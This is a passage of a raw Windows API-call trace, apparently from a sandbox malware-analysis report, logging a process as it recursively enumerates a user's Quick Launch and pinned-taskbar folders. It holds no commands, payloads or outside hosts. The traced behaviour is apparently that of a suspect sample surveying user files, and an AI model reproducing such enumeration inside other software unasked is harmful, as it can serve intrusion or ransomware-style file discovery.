lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0053.594] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0053.594] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0053.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0053.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x55c0b0 [0053.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcb30 | out: hHeap=0x540000) returned 1 [0053.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fcaa8 | out: hHeap=0x540000) returned 1 [0053.594] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0053.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.594] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0053.594] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.594] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54b77470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b77470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.594] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.594] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.594] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0053.594] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1 [0053.594] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1 [0053.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.594] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0053.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xee) returned 0x5f1610 [0053.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0053.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0053.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.595] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0053.595] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.595] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda554a0, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbda554a0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.595] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.595] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.595] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4eb35ad0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.595] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a683760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0053.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.595] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb0f970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4eb0f970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4eb0f970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Launch Internet Explorer Browser.lnk", cAlternateFileName="LAUNCH~1.LNK")) returned 1 [0053.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5e5c70 [0053.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e5c70 | out: hHeap=0x540000) returned 1 [0053.595] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0053.595] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.595] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.595] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0053.595] lstrcmpW (lpString1="User Pinned", lpString2=".") returned 1 [0053.596] lstrcmpW (lpString1="User Pinned", lpString2="..") returned 1 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5fe998 [0053.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0053.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0053.596] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.596] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.596] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.596] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.596] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0053.596] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2=".") returned 1 [0053.596] lstrcmpW (lpString1="ImplicitAppShortcuts", lpString2="..") returned 1 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb6f0 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x136) returned 0x562228 [0053.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb6f0 | out: hHeap=0x540000) returned 1 [0053.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.596] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x5f1708 [0053.596] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.596] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.597] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.597] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.656] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.656] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.656] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0053.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.657] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.657] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.657] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.657] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0053.657] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f1708 | out: hHeap=0x540000) returned 1 [0053.657] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0053.657] lstrcmpW (lpString1="TaskBar", lpString2=".") returned 1 [0053.657] lstrcmpW (lpString1="TaskBar", lpString2="..") returned 1 [0053.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb6f0 [0053.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x136) returned 0x5fc6d0 [0053.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb6f0 | out: hHeap=0x540000) returned 1 [0053.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0053.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63c9a8 [0053.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.657] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.658] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.658] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc4b320, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e02c640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e02c640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc251c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc251c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer (2).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0de7e00, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb65d71b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb65d71b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer (2).lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb6c0 [0053.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.658] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc4b320, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc4b320, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player (2).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0053.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5eb960 [0053.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2e24b3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0053.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0053.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.659] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.659] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 